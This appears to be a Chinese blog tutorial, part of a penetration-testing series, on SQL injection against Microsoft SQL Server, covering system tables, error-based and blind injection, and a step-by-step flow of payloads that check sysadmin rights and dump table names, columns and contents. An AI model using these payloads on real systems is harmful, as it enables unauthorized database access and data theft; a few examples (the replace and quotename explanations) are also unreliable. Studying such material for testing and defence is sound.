渗透测试---手把手教你SQL注入(10)---SQL注入拓展总结

这是一方创作的“手把手教你SQL注入”系列的第10篇文章,在之前的文章中,一方已经把进行SQL注入的绝大部分“应知必会”内容给讲完啦,但是之前的文章讲解SQL注入时用的都是MySQL,这里一方再为大家拓展一波,本节针对SQLsever注入进行讲解----

MSSQL是Microsoft SQL Server的简称,是一种关系型数据库管理系统,由微软公司开发和维护

MSSQL是Microsoft SQL Server的简称,是一种关系型数据库管理系统,由微软公司开发和维护
本文中sqlsever和mssql其实是同一种东西,只是一方平时习惯于用sqlsever来称呼

SQLsever注入与MySQL注入有何区别?

在SQL注入中,SQLsever和MySQL的区别主要在于数据库管理系统(DBMS)本身的特性和注入技巧的差异,但是在进行SQL注入时二者区别不大。也就是说两者在进行SQL注入时的思路方法都是一样的,只是在注入过程中用到的语句和函数会有所不同,因此,如果你掌握了针对MySQL进行SQL注入的方法,那么在针对SQLsever进行注入时也不会有过大的阻碍🙉

一,SQLsever数据库结构分析:

在进行MSSQL注入前,我们最好对SQLsever中的常用函数、4大初始数据库以及内置系统表有一定的了解,因为我们在渗透过程中所具体针对的对象就是它们---

SQLsever注入常用函数

db_name()

返回当前数据库的名称

host_name()

返回计算机名称

current_user

返回当前数据库的用户名

user数据库用户

substring()

字符串截取函数

@@version

查看数据库版本

char()

ASCII 转字符函数

cast(text as type()

字符类型转换,如果转换失败会将 text 结果报错显示在页面上

object_id()

根据表名返回数据库表名 ID

object_name()

根据 ID 返回数据库表名

col_name(object_id,column_id)

返回指定表中指定字段(列)的名称

SQLsever初始数据库:

master 数据库记录了所有的 SQL Server 数据库系统的系统级信息,如用户帐户,配置设置,以及所有其他数据库信息。
model 数据库是一个模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本的数据库,并更改成你创建数据库时所用的名。
msdb 数据库 SQL Server 代理的数据库,用于配置使用 SQL Server 代理和预定作业等。
tempddb 数据库是 SQL Server 用于暂时存储数据的,这其中包含所有临时表,临时存储过程,并通过 SQL Server 生成任何其他临时存储需求。

SQLsever内置系统表:

sysdatabases表该表只保存在 master 数据库中,这个表中保存的是所有的库名

主要字段就是数据库名(name)。

例如:master.sysdatabases.name

Sysobjects

SQLServer 中的每个数据库内都有此系统表,存放着数据库所有的表名。

该表的格式一般为master.sysobjects

作用等同于MySQL中的

information_schema.tables

主要字段有:name、id、xtype 分别是表名、表 ID、创建的对象。其中 xtype='U'代表是用户建立的表。

master.sysobjects.name

Syscolumns 该表位于每个数据库中,存放着所有数据库所有的字段名。

主要字段有:name、id 分别是字段名称、表 ID,其中的 ID 是用 sysobjects 得到的表的 ID 号。也就是说,sysobjects和syscolumns中的表ID是相同的

master.syscolumns.name

 SQLsever查询 数据库名=》表名=》字段名

查询数据库名:master.sysdatabases.name
查询表名:master.sysobjects.name
查询字段名:master.syscolumns.name

只是这样单纯的列资料很不直观,下面一方借助EXCEL来为大家举例说明一下:

假如我们创建了一个名叫mssql-users的数据库,并在这个库中创建了一个users表,而users表的内容为:

usersusers
idusernamepassword
1洛一方I am luoyifang 

那么此时mssql-users库的结构如下所示:

mssql-users数据库
name《=数据库所含表名
sysobjects    
syscolumns    
user表    
其他表    
users表
idusernamepassword
1洛一方I am luoyifang  
sysobjects表
idnamextype
1sysobjectss
2syscolumnss
3usersu
4其他表u
syscolumns表
idname 
3id 
3username 
3password 
1id 
1name 
1type 

需要注意的是,由于sysobjects表在sqlsever的每个数据库都存在,所以我们可以利用这一特性来识别网站是否使用sqlsever,具体可以参考下面这篇文章中的“如何判断数据库类型”部分----

渗透测试---手把手教你SQL注入(7)---Access数据库注入icon-default.png?t=N7T8http://t.csdnimg.cn/W73dh

二,SQLsever注入---报错注入

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)

借助四则运算直接报错:

MSsql属于强类型数据库,它对数字和字符进行了严格区分,因此例如 1/user 这样的语句,mssql可能会在报错内容中直接爆出用户名!

例如:

'or 1=convert(int,@@version)-- 可能会直接爆出数据库版本信息。

还可以使用 and host_name()=@@servername -- 来判断网站是否进行了“站库分离”                    以下给出在SQLsever注入过程中可能会用到的PAYLOAD:

查询数据库版本:select @@version
注释后续语句:

select --+

select /**/

查询用户信息:

select user_name()

select system_user

select user

select loginame from master.sysprocesses where spid=@@SPID

查询所有登陆用户:select name from master.syslogins
查询当前数据库:select DB_NAME()
查询所有数据库:select name from master.sysdatabases

 三, SQLsever注入---盲注

跟MySQL差不多,只是用到的函数不一样:

渗透测试---手把手教你SQL注入(2)---盲注

这里分享一些一方收集到的SQLsever冷门函数:

1. patindex函数返回某个模式第一次出现的起始位置
patindex(pattern,string)
eg: select patindex('%[0-9]%','abcd123efgh')返回5,
查询数字0-9中任一数字在字符串abcd123efgh"首次出现的位置,
%表示数字前可以匹配任意长度的字符,包括空字符

2. replace函数将字符串中出现的所有某个子串替换为另一个字符串replace(string,substring1,substring2)将substring1替换为substring2
eg: select replace("1-a","2-b","-",":")返回结果为'1:a','2:b'

3. replicate函数按指定的次数复制字符串
replicate(string,n)
eg: select replicate('abc',3)返回'abcabcabc'

4.stuf函数先删除字符串中的一个子串,再插入一个新的子串作为替换
stuff(string,pos,delete length,insertstring)
eg: select stuff('xyz',2,1,'abc')返回xabcz。

5. upper和lower函数将字符串转换为大写或小写
upper(string)    lower(string)

6. rtrim和ltrim函数删除字符串中的尾随空格或前导空格
rtrim(string)Itrim(string)
ea: select rtrim(ltrim(' abc ')返回abc

 这里再补充一个好用的函数---charindex()

四,SQLsever注入---注入流程

判断权限,如果页面回显正常则为正确,否则报错and 1=(select IS_SRVROLEMEMBER('sysadmin')) --
获取当前数据库And 1=(select db_name()) --
获取当前数据库内的所有数据表and 1=convert(int,(select quotename(name) from 数据库名.dbo.sysobjects where xtype='U' FOR XML PATH(''))) --
获取当前数据库内的指定数据表的所有字段and 1=(select quotename(name) from 数据库名.dbo.syscolumns where id =(select id from 数据库名.sysobjects where name='指定表名') FOR XML PATH(''))--
获取指定数据库内的表数据内容and 1=(select top 1 * from 指定数据库.dbo.指定表名 where排除条件 FOR XML PATH(''))--

 我们最后再来分析一下这条语句,解释它为什么可以返回当前数据内的所有数据表:

假设数据库名称为mssql-users
and 1=convert(int,(select quotename(name) from 
mssql-users.dbo.sysobjects where xtype='U' FOR XML PATH(''))) --
quotename函数的作用是将一个包含特殊字符(例如空格、数字、字符等)
的字符串转换为一个适合在SQL语句中使用的字符串。
例如,如果传入的字符串是"my table",那么quotename会返回"'my table'"。

 这个语句是在mssql-users数据库的sysobjects表中寻找所有的用户表(xtype='U'),并对这些表的名称进行转换(使用quotename函数),然后将转换结果转换为整数。如果转换后的整数结果为1,那么这个条件就为真。但是,这里存在两个人为构造的问题(构造问题的目的是在报错的内容中包含我们想要的信息):

首先,表的名称(字符串类型)无法被convert()转换为整数,其次,quotename函数被设计用来处理字符串,并且只能处理一个字符串参数。在这个子查询中,quotename(name)试图将每个表名(类型为字符串)括在引号内,然后转换为整数。然而由于子查询返回的是一系列的字符串,所以无法直接将这个序列转换为整数。最终mssql服务器就会将包含有所有表名的报错信息回显出来.

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

洛一方

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值